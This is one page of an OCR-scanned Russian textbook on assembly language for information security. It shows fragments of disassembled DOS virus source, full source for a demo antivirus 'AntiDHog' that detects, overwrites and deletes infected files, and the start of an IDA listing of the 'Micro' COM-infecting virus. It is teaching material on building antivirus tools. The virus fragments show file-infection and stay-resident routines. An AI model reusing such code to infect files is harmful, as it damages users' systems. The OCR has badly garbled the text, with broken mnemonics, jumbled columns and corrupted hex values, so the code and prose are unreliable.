Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [ 41 ] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

Ассемблер в задачах защиты информа!

mov dx, lOOh; Записать вирус

; из оперативной памяти в файл int 21h ; DOS - 2+ - WRITE TO FILE

; WITH HANDLE ; BX = file handle, CX = number of bytes ; to write, DS: DX -> buffer

start

a MaskForVir segOOO

mov int

raov int

mov mov

endp

ah, 3Eh ; Закрыть файл-жертву

21h ; DOS - 2+ - CLOSE A FILE

; WITH HANDLE 00000000 ; BX = file handle

ah, 4Fh ; Искать следующий

21h ; DOS - 2+ - FIND NEXT ASCIZ

; (FINDNEXT)

; [DTA] = data block from ; last AH = 4Eh/4Fh call loc 0 107 ; Пока еще есть

; неиспорченные файлы -; крутимся в этом цикле

ends

end start

ah, dx,

31h 7530h

Выйдя, оставим "дутый" резидент

DOS - DOS 2+ - TERMINATE

BUT STAY RESIDENT

AL = exit code,

DX = program size,

in paragraphs

Маска в формате ASCIIZ

Напишем антивирус.

Случай простой, и можно взять за основу дизассемблированный исходный тек. самого же вируса. Очевидны необходимые изменения; убрать оставление в ОП "дуто резидента", вместо заражения файлов сделать обнаружение сигнатуры вируса, и в случ обнаружения - принимать меры.

Очевидно, что все файлы, зараженные замещающими вирусами, необходимо стир с диска. Кроме того, полезно перед стиранием "убить" зараженный файл, т. е. запис;-в его начало команду 1NT 20h. Это предохранит от новой вспышки вируса, если стертый файл с вирусом ошибочно восстановят (например, профаммой UnErase) и запустят.

Наличие вируса будем определять по длинной (14 байт) сигнатуре по смещению OEli от начала файла. Для простоты профаммы (все-таки это демонстрационный пример, а реальный антивирус) напишем вариант, проверяющий файлы в текущей директории-

Антивирус носит явно выраженный тренировочный характер - достаточно сказат" что нет рекурсивного обхода каталогов. Профамма AntiDHog написана как пример

pea-

лизации поиска сигнатур на Ассемблере, и ее реальное применение для защиты коМП"

,!:c...?.;.[]P?.?Pf.r.r.f:f..iPf90Ba .

тера не предусматривалось. Хотя оно и возможно

лог, куда могли попасть зараженные файлы ~ "Р""" проверять каждь.й ка

Ниже представлен исходный текст антивируса.

. ======Ап t i DHog.asra ==============-==

Переместить указатель в файле~==~~=-Г1ГГ!::" MoveFPosmacro FHandle, FPos ~ ~ ----

ах, bx.

сх, сх dx, FPos 21h

mov mov xor mov int endm

include io.inc segOOO segment byte public CODE assume cs:segOOO org lOOh assume es:nothi ;=========== SUBROUTINE

public start proc near PutStr TitleStr ;== Поставить DTA ===

4200h F Handle

ng, ss:nothing, ds:seg000

start

mov mov mov int

mov raov

sgScan

push ds

ah, lAh

dx, offset DTA

cx, 27h

ah, 4Eh

dx, offset a MaskForVir

,• Поиск первого файла по маске *.*.

; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST) ; CX = search attributes ; DS:DX -> ASCIZ filespec ; (drive, path, and wildcards allowed) CODE XREF: start+37(i

pop mov mov mov rep

es si, di, cx.

FN Ofs

offset FName 13

movsb

"•ov ah, 43h raov al, 0



mov int

mov mov mov mov int

mov mov

dx, offset FName

; Получить атрибуты найденного файла

Zlh ; DOS - 2+ - GET FILE ATTRIBUTES

; DS:DX -> ASCIZ file name or directory ; name without trailing slash

43h 1

offset FName

ah, al, dx, cl, Zlh

0 ; Сбросить атрибуты.

DOS - 2+ - SET FILE ATTRIBUTES DS:DX -> ASCIZ file name CX = file attribute bits ax, 3D10h dx, offset FName

; Открыть файл-жертву для записи/чтения 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLE ; DS:DX -> ASCIZ filename ; AL = access mode ; 10 - read/write

Сохранить номер файла

mov FHandle, ax

mov ah, 40h

mov cl, 44h

nop ; No Operation

nop ; No Operation

Выдать имя файла

call InfoAboutFile Проверка сигнатуры

call ReadSignature

cmp SignatureFound, 0

je NextFile

Записать в начало файла команду int 20h

call KillExecutable

Стереть файл

call RemoveExecutable

NextFile:

call

Curelnfo ah, 4Fh ; 21h

BegScan

Искать следующий

DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT) [DTA] = data block from last AH = 4Eh/4Fh call Пока еще есть непроверенные

; файлы - крутимся в этом цикле

start endp

MaskForVir db О ; Маска в формате ASCIIZ

pj; db 43 dup (0)

Ofs equ offset DTA+lEh

fUlme db 128 dup (0)

inane db 128 dup (0)

SignatureFound db 0 SignatureArray db 14 dup (0)

yjrSignature db OCDh, 21h, 0B4h, 43h, OBOh, Olh, OBAh

db 9Eh, OOh, OBlh, OOh, OCDh, 21h, 0B8h intZOCmd db OCDh, 20h

FHandle dw 0

TitleStr db +----------------------------+, 13, 10

db lAntiDHog - пример антивируса!, 13, 10

db +----------------------------+, 13, 10,

NorraStr db - Ok, 13, 10, $

CureStr db - пришлось стереть., 13, 10, $

; Прочесть и проверить сигнатуру вируса

ReadSignature proc near

; Сбросить флаг найденной сигнатуры

mov SignatureFound, О ; Переместить указатель на смещение OEh

MoveFPos FHandle OEh ; Прочесть первые 68 байт вируса

mov ah, 3Fh

raov bx, FHandle

mov cx, 14

mov dx, offset SignatureArray int 21h ; Проверить чтение eld

push ds pop es

mov si, offset VirSignature

mov di, offset SignatureArray

mov cx, 14 «Ре ompsb

jnz Finish Сигнатура найдена!

mov SignatureFound, 1

finish: ret adSignature endp lExecutable proc near Реместить указатель

MoveFPos FHandle 0

бить" файл

mov ah, 40h



mov mov mov

; Закрыть файл

mov raov int ret

KillExecutable endp RemoveExecutable proc near ; "Вытереть" файл

mov mov int ret

RemoveExecutable endp InfoAboutFile proc near

NextChar:

bx, FHandle cx, 2

dx, offset Int20Cmd 21h

ah, 3Eh bx, FHandle 21h

ah, dx,

offset FName

InfoAboutFile Curelnfoproc near

ContMsg: int

Curelnfoendp segOOO

push

si, offset FName

di, offset IName

lodsb

stosb

al, 0

NextChar

byte ptr [dil, S

PutStr

IName

endp

near

ah, 9

dx, offset NormStr

SignatureFound, 0

ContMsg

dx, offset CureStr

ends

end start

удаления. Затем (после главной подпрофаммы) идут директивы объявления пере\ ных, а после этого раздела - все подпрофаммы, реализующие проверку сигнату "убивание" файла, удаление его с диска и выдачу информации о заражеь сти/незараженности файла.

Еще один антивирус из вируса. Изготовление антивируса из самого же попавще ся вируса возможно и в более сложных (до известных пределов - например, из перм> рующего вируса сделать антивирус от него же очень сложно, ифа не стоит свеч) сл> ях. Рассмотрим изготовление антивируса из паразитического вируса Micro, заражающего СОМ файлы в текущем каталоге стандартной записью в их начало.

Начнем с полученного в среде IDA листинга вируса.

0100 0100 0100 0100 0100 0100 0100 0100 0100 В4 0102 8В 0104 0104 0104 81 0108 ВА ОЮВ В1 010D 010D 010D CD 010D 010F 72 0111 ВА 0114 В8 0117 CD 0117 0119 93 ОЦА В6 ОПС В4 OllE CD ОЦе

; Segment type: Pure code segOOO segment byte public CODE assume cs:segOOO org lOOh

assume es:nothing, ss:nothing, ds:segOOO

public start

start proc near

mov ah, 4Eh

mov di, si

C6 00 FF 56 01

21 35

9E 00 02 3D 21

ModSiCmd:

add si, OFFOOh

mov dx, offset FMask ; "♦.cOm"

mov cl, 5Ch

SearchLoop: int 21h

FE 3F 21

jb mov mov int

xchg mov mov int

MoveCode dx, 9Eh ax, 3D02h 21h

ax, bx

dh, OFEh ah, 3Fh 21h

Больше файлов нет



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [ 41 ] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88